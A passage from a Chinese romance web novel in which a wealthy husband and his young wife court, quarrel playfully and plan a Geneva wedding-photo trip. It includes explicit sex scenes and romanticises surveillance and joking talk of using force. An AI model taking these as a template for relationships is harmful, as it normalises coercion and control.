最担心的事情解决了,江棠梨的小心思也悄悄冒出了芽尖。 “李管家,以后咱俩就是一条船上的人喽~” 李管家尴尬又不失礼貌地笑笑:“刘厨刚做了两个蛋糕,您要不要先吃点。” 江棠梨却摇头:“先吃饭吧,我都快饿死了。” “晚饭怕是还要等一会儿,”李管家说:“陆总临走的时候交代,今晚会和您共用烛光晚餐。” 江棠梨差点以为自己听错了:“烛光晚餐?” 好端端的,吃什么烛光晚餐? 李管家点头:“我先去把蛋糕给您端到餐厅,您先垫垫肚子。” 江棠梨追着他的背影,眉心拧拧松松。 没有辞退李管家不说,还要和她吃烛光晚餐。 让他自己冷静,竟然比她亲自哄人还要有效? 江棠梨心里七上八落,蛋糕没吃几口就回到了楼上。 是打电话还是发短信呢? 电话的话能听见声音,可万一他在开会怎么办。 * 陆时聿本打算回到公司继续下午被中断的会议,可是当他往办公室一坐才发现,自己很大可能无法集中注意力。 因为从家出来后,他满脑子都是江棠梨丢下自己一个人上楼的背影。 所以这三个多小时里,他用了一个小时锻炼,用了一个半小时去选礼物,之后,他就一直在等。 等待是一件很枯燥的事情,可却因为各种猜想多了几分意思。 猜她第一句会说什么。 问他忙完了没有,问他什么时候回家。 又或者,在这些问题之前,她会先喊他一声老公 从沙发里起身走到落地窗前。 又从落地窗前转身回到沙发。 这期间,他一次手机都没看。 平日里被设置成震动的手机,今天破例开了声音提醒。 然而在时而传来的一些提示声里,他一直都没有等到专属于她的。 或许,他什么时候回去,对她来说并不重要。 毕竟,她生活里的乐趣那么多,酒吧、微博、游泳 哪一样都比他这个无趣的人要有趣。 一声自嘲的笑在他垂下脸的时候,低低传出了嘴角。 也几乎是同时,不远处传来悦耳的一道铃声。 像泉水叮咚。 让玻璃上倒映着的紧蹙的眉心,倏地展开。 几个大步走过去,还没走到办公桌前,陆时聿就弯腰伸手将手机拿到了手里。 虽然不是来电,却也依旧抚平了他心头所有的阴霾。 尤其是那条短信的前两个字。 「老公,你什么时候回来啊,我好饿。」 搭在沙发扶手上的西装外套都没拿,陆时聿就径直走出了办公室。 “陆总,”陈敬几乎小跑地追在他身后:“日内瓦那边的定金——” “今晚就付掉。” 从公司到璞玺园,陆时聿只花了17分钟。 而这17分钟里,因为没有收到他的回复,江棠梨从二楼到客厅,从客厅到庭院,养着锦鲤的方塘都被她转了好几圈。 是在忙吗? 还是他根本就没有消气? 李管家现在可谓是把她的人身安全,哪怕是磕着绊着都当成了人生头等大事,寸步不离地跟在她身后。 “太太,您别离池边太近。” 江棠梨突然一个转身:“他走的时候,是笑的吗?” 李管家先是一愣,反应过来才连忙点头:“是的。” 江棠梨眉心却依旧不展:“是真笑还是假笑?” 李管家心底突然闪过不安。 太太该不会是发现了不对劲? 然而不等他多加揣测—— “张医生确定被辞退了吗?” 李管家微微一愣:“陆总目前还没有交代我这件事。” “那泳池那边呢?” 说到这事,李管家眼睛突然一亮:“太太放心,陆总表示会再给他们一次机会。” 一觉起来,竟然一切都回到了之前,像是什么都没有发生过。 一个小时的冷静,真的能改变他这么多? 江棠梨眼睛突然一眯,探究的眼神定在了李管家的脸上。 “李叔,你没有出卖我吧?” 李管家几乎连迟疑的时间都没敢有,又是摇头又是摆手:“当然没有。” 想想也是,若是让陆时聿知道她和李管家合起伙来骗他,她江棠梨会怎样她不知道,但是李管家肯定不会像现在这样若无其事地站在她面前了。 想想或许是自己心虚才导致的多疑,江棠梨稍稍定了定心。 “李叔,你别跟着我了,我再溜达一会儿就回去。” 李管家哪里敢让她一个人,况且这院子这么大,大晚上的,也不是每一个角落都有光。 “我还是陪着您吧,万一您再有个闪失,我真是不知怎么和陆总交代了。” 江棠梨拗不过他,索性往茶室里一坐。 四月的晚风,吹来的丝丝缕缕都是惬意。 但也很无聊,江棠梨索性就举起手机开始了自拍。 拍照是一件很枯燥的事情,但是P图却很有意思。 不过江棠梨并不是修饰自己的五官,而是调色、抠图、明暗修改等。 太过专心就会忽略周围的动静。 在陆时聿的无声挥手里,李管家轻步离开。 方塘边有个叠瀑,在流涓的水声里,陆时聿走到她身后。 本以为脚步足够轻,奈何被他抱在怀里的花束发出了声响。 江棠梨一扭头,一束用白色丝带包裹而成的心形红玫瑰递到了她面前。 江棠梨意外到明知故问:“送我的?” 陆时聿屈膝半蹲在她身旁:“送陆太太的。” 江棠梨一直以为自己对玫瑰花无感,却发现,在花店看到的,和被人亲手送到面前的感觉竟然这么不同。 “好漂亮。” 虽然花朵不多,但却比上次他送的那么一大捧的洛神要美多了。 但是想到他一晚上都在公司忙,江棠梨又不禁撇嘴咕哝了句:“再好看也不是你去买的。” 两人之间只隔着一束花的距离,她的吐字不清却一字不落地传进陆时聿耳朵里。 “不止是我亲自买的,里面的卡片也是我亲手写的。” 还有卡片? 江棠梨忙低头去找。 是一张白色烫金的小卡片,只有巴掌大,但上面的字迹却遒劲有力,可是有破折号,像是没写完。 “蛊惑人心的——” 没有写在卡片上的话被陆时聿说了出来:“何止金钱和毒品,还有你,江棠梨。” 第52章 那天以后,江棠梨一直在想一个问题,自己到底是哪里蛊惑到他,实在想不通,她就打电话给方以柠。 可是方以柠说:“你别管你到底哪里蛊惑到他,你只要知道,他现在已经完完全全被你攥手心里就行了!” 江棠梨大吃一惊:“真的假的,你确定?” 方以柠和她一样,都只是用一双眼丈量和经历过无数男人的人。 “确定以及肯定。” 如果方以柠是个恋爱高手,就算不是,哪怕她谈过一个或者两个,江棠梨也就信她了,偏偏她还是个雏,不像自己,虽然没谈过,但好歹领了结婚证。 血淋淋的事实摆在面前,江棠梨送她一记冷笑:“得了吧你,到底谁给你的自信。” “不信拉倒!”方以柠反“嘁”她一声:“不然等我下周去海市,带你亲身验证一下!” 验不验证不重要。 重要的是她这个闺蜜一过来,就能把她从无聊的一日三餐里解救出去了。 “真的吗?下周什么时候?你自己过来吗?来干嘛?” 机。关枪似的问题,铺天盖地地砸下来。 方以柠回得有条不紊。 “当然是真的,下周一二三吧,我不自己过去还有哪位好心人捎我一段吗,当然,这人反正肯定不会是你,毕竟某人举天发过的誓到现在都兑现不了,到现在还是一只汪汪。” 江棠梨:“所以你是特意过来看我的吗?” 方以柠嘻嘻她一声:“你说呢?” 不等她说,方以柠就一盆冷水从话筒那边泼过来:“当然不是去看你,我是去看纽扣。” 敢情她还不如几颗纽扣。 江棠梨不落下风:“不奔着我来就好,我最近也忙得很。” “忙什么呢?”方以柠顿时来了兴趣。 “学车啊,我明天就要考科目三了。” 方以柠知道陆时聿送了她一辆骑士15,却没想到她动作这么快。 “才两个星期吧,都到科目三了?” 对她来说快,可对江棠梨这个等着上路的人来说却很煎熬。 不止煎熬,还紧张。 一想到下午练车,陆时聿又要去现场 那种戴着墨镜、双臂环胸且一言不发站在不远处盯着你看 江棠梨只要一想就紧张到手心冒汗。 “之前我还兴奋到睡不着,结果到了现场,看见那辆客车,我人都懵了你知道吗?我长这么大就没坐过客车,第一次坐上去的时候,差点连方向盘怎么转圈都不知道了!” 方以柠听了咯咯笑:“得了吧你,上学的时候春游,咱们坐的不就客车吗?” 她就一比喻,她还较真上了。 江棠梨话锋一转:“我都好久没去酒吧了。” 两人时不时也在微信里聊,所以方以柠知道一些她的近况。 “你上次不是说他出差去了吗,你没偷着跑去啊?” 说到出差就来气。 “他那叫什么出差,当天去当天回,问他,他说忙完了,结果第二天一大早又走了!” 电话那头,方以柠笑得肩膀直抖:“你不是说他不管你的吗,怎么突然又管你管这么严了?” 江棠梨也想不通:“我也不知道,就感觉最近他像变了个人似的,除了工作,所有精力都放我身上了,而且他现在连中午都回来。” “回去干嘛?”方以柠问。 “吃午饭啊,说是怕我一个人吃饭没胃口。” 方以柠:“” “还有周末,他现在每个周日都不去公司,我问陈秘书,陈秘书说他以前根本就没有节假日!” 方以柠觉得好可怕:“感觉他像鬼影一样缠着你。” 江棠梨听得皱眉:“你说谁鬼影呢?” 她突然扬起调子,方以柠一愣:“我说他,没说你。” “那你就不能找个好听点的词,什么鬼不鬼的,他身体好着呢,不许咒他!” 嘿,上一秒嫌弃下一秒还护上了。 方以柠被无语到了:“敢情你刚刚不是吐槽是秀恩爱?” 突然想起她最近微博里的营业,方以柠顿时后知后觉:“江棠梨,我收回我之前那句话。” “什么话?” “不是你攥着他,是你被他攥着。” 江棠梨愣了一下后,声音一扬:“怎么可能!” 怎么不可能? 方以柠问:“你听说过‘鹰立如睡,虎行似病’这句话吗?” 鹰立如睡,虎行似病 刚在心里念上一遍,还没来及细想,身后突然传来一声—— “梨梨。” 江棠梨眼皮一掀。 方以柠也听见了声音:“你家那位回来了吗?” 江棠梨没有回头。 但是脑海里再次闪过“鹰立如睡,虎行似病”这八个字。 无论是鹰的伪装还是虎的掩饰,都是两者在捕猎时,引诱猎物放松警惕的手段。 别说是放在动物界中,就算是在人际交往中,这也算得上是一种藏锋的智慧。 可她以前怎么没想到呢,竟然用了最为低智的撒谎方式。 见她不说话,方以柠喊了她一声,“梨梨,那我先挂啦?” 江棠梨没有说好,而是—— “酒吧?” 听得方以柠一愣:“什么酒吧?” 江棠梨压根不答她:“没空,最近忙的要死,哪来时间去酒吧,不忙也不想去。” 方以柠反应过来她的障眼法,立马跟她唱起了双簧:“那你以后开了酒吧呢?也不想去?” 江棠梨都想给她这个闺蜜竖大拇指:“拜托,自己的酒吧能一样吗,那是做生意,你当是玩呢?” “嫁给一个厉害的老公就是不一样啊,都上进了,梨姐~” “那当然,我也要为我们这个家添砖加瓦不是?” 江棠梨支着双肘趴在床上,两只小脚在那勾着晃着,“总不能只让我们家那位一个人忙,要是累坏了我不得心疼死。” 还心疼上了。 方以柠笑得咯咯咯:“是是是,咱们江大小姐现在可真会心疼人呀!” “我老公,我不心疼谁心疼?” 门口,陆时聿肩膀倚门,垂眸在笑。 但是笑声并没有被他刻意压着。 江棠梨本就竖着耳朵在听身后的动静,以至于浅浅笑声入耳,她忽得扭头。 “老公?” 惊讶一过,全变成了惊喜。 但是她还不忘掩手在话筒边:“不跟你说了,我老公回来了。” 说完,手机被她往旁边一丢,赤脚就跑下了床。 陆时聿展开双臂将她接了个满怀。 “老公,你什么时候回来的呀?” 她声音里有着浓浓的笑意,听得陆时聿在她颈窝里也轻笑着:“刚刚。” 江棠梨悄悄囊了囊鼻子。 什么刚刚。 都在门口站了好一会儿了吧! 偷听她打电话,却不进来。 好像又不算偷听,毕竟他都喊了自己一声,是她故意装没听见。 可是说来也奇怪,以前跟他撒撒小谎耍耍心思,完全不会有什么心理负担。但是刚刚,她心里怎么突然划过一道浓浓的不忍呢? 是这段时间自己太过安分守己,开始不适应了? 陆时聿略微松开她:“早上就喝了几口粥,饿不饿?” 江棠梨点头又撇嘴:“饿。” 乖得让人忍不住想捏一捏她脸,但是更想吻她。 只是刚一低头,怀里的人就主动踮起脚来。 开始只是想浅尝辄止,可一旦尝到她唇齿间的热度,他的吻就不受自己控制地凶狠起来。 但是一会儿还要下去吃饭,陆时聿不想被别人看见她肿胀的唇瓣。 吻停了,不安分的手也从她衣摆下收了回来。 凝眸看了会儿她脸上沁出的红晕,陆时聿抬手蹭了蹭:“什么时候变得这么会心疼人了?” 他唇角笑痕很深,难道是被她刚刚电话里的几句话哄到了? 江棠梨在他怀里轻轻一跺脚:“你偷听人打电话!” 说她恼,可是嗔更多。 陆时聿眉梢微微一挑,“不是故意说给我听的?” 他似真似假的语气,让人听不出他是开玩笑还是已经识破了一切。 既然猜不透,江棠梨索性也模棱两可:“你要是觉得我是故意说给你听,那就是呗~” 谁知她刚一说完,脸就被陆时聿捧了起来。 “是不是真心,只要是你说的就行。” 他眼神炙热,有着对这段感情不计回报只想付出的赤诚,更有他这三十年来第一次爱人的深刻与不顾一切。 江棠梨不知怎的,突然鼻子一酸。 “老公” 她声音里有哭腔,听得陆时聿心脏都缩紧了:“不许哭。” 命令的语气,说的话却是—— “不知道我有多害怕你的眼泪?” 江棠梨:“” 她觉得吧,方以柠看人不准,非常的不准。 明明就是他被她攥在手里呀! 午饭后,江棠梨把他送出门。 “今晚我会回来晚一点,晚饭就不能陪你吃了。” 可是要多晚呢? 江棠梨转着弯地问:“那我要等你回来一块睡吗?” 听罢,李管家忙往后连退两大步。 陆时聿摇头说不用:“你先睡,不用等我。” 江棠梨“哦”了一声之后又问:“那下午我去练车,你还去吗?” 陆时聿摸了摸她脑袋:“今天下午去不了了,不过明天一定会陪你去考试。” 江棠梨鼓了鼓腮:“那好吧。” 在她额头落了一个吻后,陆时聿走了。 转身过来时,江棠梨长叹一口气。 李管家走上前:“太太,陆总不会太晚回来的。” 江棠梨抬头看他:“你怎么知道” 因为是经验之谈。 李管家说:“陆总即便工作再忙,也不会让工作占据他的休息时间。” “所以呢?”江棠梨问。 “所以,陆总一定会在十一点之前回家的。” 江棠梨:“” 十一点,十一点正是酒吧刚开始热闹的时候。 但是话说回来,昨晚他说会陪她去考试的时候,江棠梨还问他会不会影响工作,当时他还说最近不太忙。 这才半天时间,突然就要忙到深夜才能回家。 难不成是觉察到她那通电话的异常,特意考验她的? 如果是这样的话,那他这小算盘可就要落空了。 因为江棠梨压根就没打算今晚去酒吧。 鹰立如睡,虎行似病。 她这基础还没打好呢,怎么可能这么轻易打草惊蛇。 下午三点,教练上门来接她去练车。 李管家一路将她送到大门口,“太太,晚饭您回来吃吗?” 人一旦起了小心思,警觉心都会比平时多几分。 江棠梨把脸凑过去:“李叔,我不回来还能去哪?” 李管家慌忙后退一步:“我就是随口问问,太太,您别多想。” 江棠梨也不想多想,实在是她对自己没有把握。 一个是照顾了二十七年的陆家继承人,一个是嫁进来不过一个月的外姓太太。 孰轻孰重? 反正换做是她,她是不可能背主的。 所以两个小时练车一结束,江棠梨就回了家。 之后她安安分分地吃了晚饭,在客厅看了会儿电视,又去直通一楼客房的合院内厅里悠哉地待了会儿。 再回客厅,李管家已经离开了。 可那又怎么样,出了这道们,还有一道大门被严防死守。 江棠梨甚至还留意过围墙,三米多高的围墙,每一个拐角都有摄像头。 当然,她堂堂一个陆太太,再怎么也不至于翻墙。 之前陆时聿说过了十点,大门就不让进出了。 江棠梨决定去试试水。 没想到,安保一看见是她,立马就把人形通道的闸门打开了。 但谁知她一出门,安保会不会打小报告。 江棠梨特意在外面晃悠了半个小时,结果手机风平浪静的,一个短信电话都没有。 眼看离十一点就只有十分钟了,江棠梨从小区南面转了回去,快走到门口的时候不巧看见两个学生一人手里一个冰淇淋。 江棠梨去了对面的便利店也买了一个,谁知刚付完钱陆时聿的电话打来了。 安保肯定不会打电话给陆时聿,所以肯定是先通知了李管家,但是李管家却没有先给她打电话。 这说明了什么? 说明船上的那个人已经跳了下去。 江棠梨心里“哼”一声的同时,接通电话。 “干嘛?” 相比她语气里两三分的冲音,话筒那边却传来低低一声笑。 “这么晚了还吃冰淇淋,不怕闹肚子?” 连她吃冰淇淋都知道。 这人是在她身上装了摄像头了吗? “绿灯了,还不快过来?” 江棠梨怔怔抬头,这才发现他人就站在马路对面的斑马线前。 见她还不穿马路,陆时聿撵着六秒的绿灯跑到了她面前。 手里的冰淇淋就只含了一口,就是那一口,在她唇峰留了一点奶白色。 陆时聿手都抬到她唇边,指腹都要擦下去了,却又突然变了方向。 两指捏着她的下巴,把她脸抬起来的时候,他的唇也低了下去。 没有失了分寸般,在马路边忘情吻她。 只是含住她唇峰,很轻地吮掉了那点不及小拇指甲大的奶白。 却让江棠梨第一次感觉到不同于以往任何一次的心动。 不是紧张的那种心动。 是心跳砰砰砰。 是想拽一拽他衣袖,让他再亲一亲她的心动。 是偷瞄周围,唯恐别人看见却又恨不得多一点人看见的心动。 可陆时聿哪里知道她翻滚个不停的小心思,只见她嘴唇抿抿合合咬咬的,加上一双眸子看他一眼又垂下,默了两秒又抬起瞄过来。 说心虚不像。 说鬼祟也不至于 把陆时聿惹出一声笑:“怎么了这是?” 还能怎么了。 她现在好纠结。 一边想抱着他告诉他:陆时聿,我好喜欢好喜欢你呀。 一边又被理智拽回来:不能说,让他知道你就等着被他攥手里吧! 可是不能说,让他再亲她一下总可以吧? 手里的冰淇淋化了一个尖,江棠梨用另只手拽了拽他袖子。 就在陆时聿低头看一眼,又抬头朝她不解地挑一挑眉的时候—— 江棠梨晃了晃自己的肩膀:“再亲一下~” 第53章 陆时聿见过她的很多种羞。 吻她时她的脸红,手指作弄时她眼底的朦胧,居高临下将她看尽时她捂在眼睛上的手指,还有让她跪着她又是皱眉又是抿唇的纠结和迟疑。 却从没见过现在这样的她,红着脸、垂着眼,噘着嘴,然而却只是让他再亲她一下。 是因为在人行车往的路边,给了她大庭广众下的偏爱? 还是吮掉她唇上冰淇淋让她觉得新鲜? 陆时聿低下头,视线追着她视线:“再亲一下的话,可就不会像刚刚那么轻了。” 可是她就想要刚刚那种。 江棠梨瞥他一眼后,肩膀一转:“那不要了。” 陆时聿却追着她不放:“真不要?” 冰淇淋都化出了让人不想吃的形状。 刚好不远处就有一个垃圾桶,江棠梨两步走过去,一狠心,把冰淇淋扔了进去。 然而还没等她转身,那只丢掉冰淇淋的手就被陆时聿牵到了手里。 江棠梨以为他是要带她回家,没想到却被他带进了身后的便利店。 “你干嘛?” 陆时聿径直走到冰柜前,扫了两眼后,他拉开璃,从里面拿了一个巧克力口味的冰淇淋。 江棠梨立马晃了晃他的手:“不要这个!” 不要? 可她明明很喜欢吃巧克力。 江棠梨指向里面:“要白桃味的” 如果不是她眼睫乱抖,陆时聿真的以为她只是想吃白桃味的。 但她把羞涩写在了脸上。 特别是付了钱出门,江棠梨又晃了晃他胳膊:“先别拆。” 陆时聿嘴角的笑痕一直深着,直到牵着她穿过马路进了大门。 刚一踩上两级台阶走进格栅装饰的廊道,冰淇淋上面的弧形透明盖就被陆时聿打开了。 他已经不记得上一次吃冰淇淋是什么时候,大概还是遥远的孩童时代,至于入口是什么口感,更是早已记不清。 但是刚刚吮掉她唇峰的哪一点奶白,无论当初是什么样的记忆都已经不重要。 可是当他把含到嘴里的那一团带着很清淡的白桃味道的冰凉抵进她唇缝时,两分钟前的鲜活记忆又变得模糊不清。 只剩此时此刻,被她唇舌湿润融化开的清甜和柔软。 陆时聿从没有像现在这样吻她吻得如此温柔。 带着小心翼翼的讨好,把含化在自己舌尖的所有冰凉一点一点送进她口中,又贪心地再索要回一点属于她的香津湿滑。 又谨记着她想要的那种很轻很轻的力度,以至于他无时无刻不压着蹿上心头的火。 廊道两侧每隔两米就是一个长方形的壁灯,光影安静,却又被厚重压抑的呼吸震出跳跃的朦胧。 这种无法发泄的压抑会让人喘不上气,陆时聿第一次吻她失了惯有的从容。 可吻得轻了,揉她腰肢的手就忍不住加重。 冰淇淋掉在了地上,不知是有心还是无意。 但是让他那只浮着青筋脉络的手有了可乘之机。 他推着她的腰,把她抵在了廊壁上,快速调整好呼吸后,他又低头吻她。 清淡的白桃香在彼此的唇齿间流连、徘徊、互相占据。 江棠梨以为,温柔的吻不止会让呼吸慢下来,交缠的气息也会有一种安静的享受。 但结果却与她的以为完全不一样。 那么温柔的吻,却能让她足尖绷紧,缺氧般的晕眩感起起落落来来回回,她像是被抽了芯剔了骨,每一根神经都泛着痒,痒得她腕心都抬不起来,却偏偏想抓住一些什么 然后她听到了一声似压抑又似纾解的闷息。 被含吮的唇突然一疼。 后知后觉过来,江棠梨顿时感觉脸烧了起来。 “我、我不是故意的。” 然而,刚一松开的手又被他的手握住。 “别走。” 短短两个字,已经让他的吻辗转了耳廓。 本该品尝才能尝到的白桃味,像是能听见似的,传进她耳道,轻击她耳膜。 江棠梨睁开眼,入目是他微紧的眉心,四目相对,她在他眼底看见了猩红,明明只有几缕,却触目惊心的,像是要燎了原。 是谁说他自制力好的? 明明那么不堪一击。 不过几下来回,就能彻底击垮他。 突然想起之前微博的那条评论。 当时在飞机上没能验出真假,如今倒是个好机会。 她指掌多了两分力,滚烫的唇埋进了他的颈窝。 “老公” 很轻很轻的两个字,捻着很轻很轻的尾音。 感受到他呼吸加重,江棠梨又喊了一声。 “老公?” 这一声,被她若有似无地扬了几分尾音。 不等她反应过来,双脚突然离开地面,视线更是一跃高过他头顶。 陆时聿将她迎面抱起,将她整个人的重量都承载在他的两臂之上。 “吻我。” 嘶哑厚重的两个字,带着命令,也露出他直白的渴求。 江棠梨双手捧着她脸,吻他的眉,吻他的眼,吻他的唇,吻他的颈。 她吻了他一路。 却没有把他吻进家门。 在方塘旁的茶室里,陆时聿抱着她坐下来。 叠瀑潺水,闹中有静。 静中也残留着她唇角的阵阵喃音。 月亮很美,却美不过她后仰的颈线。 一声声的告诫响在耳边,却拼凑不出一条完整的理智线。 深色的西装外套盖住了冷白月色下的旖旎。 填满时,沉睡的33条锦鲤像是被那两道声音惊到,鱼尾一划,水面顿时被拨出了一圈圈涟漪。 夜色像海,水纹像浪潮。 有些爱,会含在气息中,会咬在齿间里。 有些爱,也会冲出束缚,快过迭迭水流,最终沁在眼尾。 “宝贝,”他咬磨出嘶哑的声音:“说你爱我。” 但他等来了一句什么? “你上次不是让我跪着的吗?” 埋在她颈窝里的脸抬起来。 月色下,江棠梨看见他眼角崩了一层红。 那是他没有尽兴才会露出的红。 出人意料的问题,也让陆时聿笑出一道低音:“所以今天愿意了?” 但是江棠梨说的却不是愿不愿意,而是:“可以不跪在床上吗?” 如何不让人浮想联翩。 陆时聿嘴角携着深浓的笑痕:“那你想跪在哪儿?” 明明四下无人,可她却像是被谁听见。 江棠梨掩手在他耳边,说了两个字。 陆时聿几乎瞬间皱眉:“看了什么不干净的东西?” 江棠梨一扁嘴,“你嫌弃我!” 他能嫌弃她什么。 不过是嫌弃进了她眼睛里的,属于别的男人的脏东西。 但是他又从她羞恼的眼神里领会到了不对劲。 “是你跪还是我跪?” 江棠梨惊讶地捂嘴:“你怎么跪呀?” 所以她刚刚说“脸上”是他的脸上。 “江棠梨,”他嘴角有笑痕,眼角却眯出锐利:“以后不许看那些乱七八糟的!” 江棠梨才不理他蛮横的要求,拽着他的皮带,“你到底跪不跪?” 能让她提出这样的要求,还是在事后。 原因就只有一个。 虽然进了家门,但陆时聿没有把她放下来。 一阶阶的楼梯,带出他含笑的声音:“没有前/戏,不过瘾吗?” 江棠梨含羞带怒地剜了他一眼:“休想你自己舒服。” 平时问她舒不舒服,她咬着唇怎么都不说。 这会儿竟还埋怨上了。 陆时聿握着她脚腕的手微微一紧,“还想把沙发弄湿?” 江棠梨顿时说不出话来了。 穿过拱形门就是起居室,陆时聿停住脚,故意似的往上周末刚换的那组真皮沙发看了眼。 “不过这次不怕了,湿了擦擦就好。” “陆时聿!” 脚腕被他握着盘在他身后,江棠梨除了两只手根本动弹不得,可一只手还要抱住他脖子。 “你再说,我就让你断一个月的粮!” 陆时聿却丝毫没有被她威慑住。 “上次你也说断我一个月,结果呢?” 结果就隔了一个晚上就忘了,浅浅吻她两下,她就开始在他怀里扭来扭去。 但是江棠梨并不觉得是自己的问题。 “是你主动的!” “但是你没有拒绝我。” “我拒绝你,你也会用强的!” 陆时聿俯身把她放在了沙发里,肩膀低下去,腰也压下去。 “既然知道我会用强的,”他笑得斯文:“那你觉得刚刚那句威胁还有用吗?” 但是江棠梨提的那个要求,陆时聿并没有在一开始满足她。 是在过程中。 说是跪,也是坐。 在他那张看似温柔但却从未有谁敢亵渎的脸上。 一览无遗地看尽高山白雪。 有着颤巍起伏的美感。 分不清是想逃,还是根本就坐不住。 腰往一点点后折。 却刚好把最脆弱的一面完全暴露在了他眼前。 从地心喷薄出的熔岩热流,是自然力量的展现。 淋了他一胸口的湿流,却是他的功劳。 月光像一枚淡淡的吻痕,落在床尾,泄在窗边。 江棠梨裹着薄毯,蝉蛹似地窝在床里侧的贵妃榻里,刚缩回毯子里的手又伸了出来。 “那儿还没吸到呢!” 陆时聿一边连抽几张纸巾,一边顺着她的手指去找:“哪儿?” “就在你左手边呀!” 抬头看一眼她那又急又羞的表情,陆时聿低笑一声的同时,把纸巾铺上去,掌心压了一下刚要抬起来—— “你多压一会儿,让它吸干呀!” 让陆时聿哭笑不得:“床不换了?” “换呀!” “那还管这床垫做什么?” 江棠梨脸上的红从始至终就没完全消下去过。 “万一干了留下印子,被人看见了怎么办。” 陆时聿不给她侥幸的机会:“吸不吸,它都会干,该留印子还是要留印子。” 被他提醒道,江棠梨一双眸子转了好几个来回,眼波突然一亮:“那如果把床垫全部浇湿是不是就可以了?” 小脑袋瓜子倒是转得快。 但是陆时聿没那么做。 手里的抽纸盒被他扔到一边后,他绕过床尾走过去。 见他朝自己伸出胳膊,江棠梨眨着她那双还噙着湿的小鹿眼,抬头看他:“干嘛?” 陆时聿下巴轻抬:“难不成你要在这贵妃上睡?” 她觉得贵妃也挺舒服,但是睡不下两个人。 江棠梨朝床上投去嫌弃的一眼后,这才慢腾腾地屈下两条膝盖。 连人带毯子将人抱到了三楼,却发现床上没有床品。 陆时聿低头看她:“去一楼睡?” “不行,”江棠梨脑袋直摇:“万一明早被李叔看见,会起疑的!” 好像明天新床上门,别人就不会乱想了似的。 虽然三楼的房型和二楼的一样,但家具陈设却大不同。 江棠梨到现在还记得第一次进来这扇门,看见这满铺的天山暮雪纹理的大理石墙面有多嫌弃。 难道是因为天气渐渐热了,今天再一看,突然又觉得顺眼了。 再一回头,床已经铺好。 以前上大学的时候,江棠梨也自己铺床,到现在她都还记得每次换掉旧的铺上新的,人就好像爬了十几层楼一样。 可是再看他,气息均匀地走过来蹲在自己面前,还一脸松弛地问她:“不是说饿吗,我去给你弄点吃的?” 可是都这么晚了,江棠梨抿了抿唇:“你都不累的吗?” 陆时聿轻笑一声,“你累了?” 江棠梨:“” 能不累吗? 今天他好像故意似的,一直让她在上面 裹在身上的毯子露出她泛红的膝盖。 陆时聿指腹蹭了蹭:“疼不疼?” 不问不觉得,问了好像真就有疼意泛上来。 江棠梨扁了扁嘴:“床边那块地毯质量一点都不好。” 踩在上面软软的,却能把膝盖磨红。 “明天让李管家重新挑一块。” 说完,陆时聿支起腰,将她拦腰抱到了床上,“我去楼下看看,有什么吃的没有。” 江棠梨拉住他手腕:“我也想去。” 她能陪着,陆时聿自然是高兴的。 但是想到今晚受的那些累,陆时聿握住她手:“站得稳吗?” “你别小瞧人!” 说完,江棠梨就撑着床垫站了起来,但是身上的毯子也随之从肩膀落下。 江棠梨顿时脸一红,条件反射就用掌心蒙住他眼。 “不许看!” 陆时聿弯唇无声在笑:“又不是没看过。” 江棠梨羞到跺脚:“不一样!” 她说不一样,那就不一样吧。 陆时聿握住她看似用力却又轻轻一掰就掰开的手:“换条裙子再下去?” “嗯。” 五颜六色的睡裙,江棠梨给自己挑了一件还没有穿过的孔雀蓝。 “好看吗?”她在原地转了一个圈。 陆时聿双臂环胸地倚靠在一旁,不说好不好看,说的是:“穿成这样,我还怎么下厨房。” 江棠梨本来就有点心疼他。 何况现在都已经两点了。 “那不然就不去了,你不是说这几天很忙的吗?” 但是他今天特别想亲手做些吃的填饱她的胃。 尽管他从来没下过厨。 手忙脚乱虽不至于,但煎两块牛排就让厨房一片狼藉却是真的。 “怎么样?” 江棠梨细嚼了好一会儿,眼看他眉心越拧越紧才“噗嗤”一声笑出来。 她不做点评,而是切了一块送到他嘴里:“你觉得能打几分?” 自己吃自己做的,免不了会有滤镜的成份。 但他尝过太多精致的美味,所以 陆时聿摇了摇头:“看来我不适合进厨房。” “不好吃吗?”江棠梨一连切了两块送进嘴里:“多好吃呀!” 陆时聿被她生动的表情和不停咀嚼的两腮逗笑:“陆太太该不会是想借此让老公多下几次厨房吧?” 江棠梨一点都不藏着,摸了摸自己的脸:“我表现的这么明显吗?” 生活的乐趣大概就是身边有一个有趣的人。 因她带来的鲜活生气丰富多彩,才会惊讶过去的一成不变枯燥乏味。 以至于一边享受当下又一边害怕回到过去。 所幸他最近藏了很多很多个小礼物,可以细水长流地一点一点惊喜到她。 所以在第二天早上,明知她没睡饱会有起床气也丝毫不惧地喊她起床吃早餐的时候—— “陆时聿,你烦不烦!” 然而当她睁开眼看见的却是一张照片。 江棠梨揉了揉眼,接过他手里的照片,却发现不是一张,而是厚厚一沓。 江棠梨整个人还有浓浓未睡醒的惺忪困倦:“这是、什么?” “我们拍婚纱照的地方。” 江棠梨愣了一下后,瞬间就坐了起来。 一张张的照片,有阳光、有草地,也有湖畔。 有梯田葡萄园,有森林塔楼,也有鲜花与钟表结合而成的花钟,还有圣皮埃尔大教堂 江棠梨突然反应过来:“这是日内瓦?” 陆时聿点头:“听说日内瓦的春天很美。” “何止是美啊,简直就是人间仙境。” 江棠梨给他看其中一张照片:“听说湖上的这座喷泉可以喷出140米高的水柱!” “还有这里,这里是著名的拉奥葡萄梯田,瑞士很多有名的葡萄酒都产自这里。” “啊还有这里,是百达翡丽博物馆,这里有超多钟表的!” 陆时聿却没有看她递过来的照片,一双含笑的眼睛定在她满是欢喜雀跃的脸上。 “喜欢吗?” “嗯嗯,”她不停地点头,“喜欢。” “那我们下周去?” 下周? 江棠梨抬头看他,像是突然反应过来:“所以你说这段时间很忙,是为了抽出时间带我去拍婚纱照吗?” 陆时聿略微一挑眉:“当然。” “那我们可以在那边待多久?” “大概五天?” 眼看她眉心皱了起来,陆时聿又略有为难地犹豫了一下:“如果我效率高一点,或许可以待到七到八天。” “那怎样可以效率高一点?” 见他思忖着,江棠梨试探着问:“我去公司陪你的话,有用吗?” 第54章 其实从京市回来后,陆时聿就想带她去公司了,但是每次都会被她以各种理由推脱掉,就比如上次泳池出的那场意外,还有一次,都被他牵出门了,她突然腰一弯说肚子疼 总之,各种借口,只有他想不到的,没有她做不到的。 可他明知是假的,却又无可奈何。 所以除了花心思让她自己主动提出之外,陆时聿想不到还有别的方法。 可即便是她主动提出,自己也不能爽快答应。 陆时聿给她希望:“你去的话,我的效率肯定会提高不少,但是”他又面露难色,是站在她的角度:“我又怕你无聊。” “怎么会无聊!”江棠梨腰脊一直:“我也可以去办公啊!” 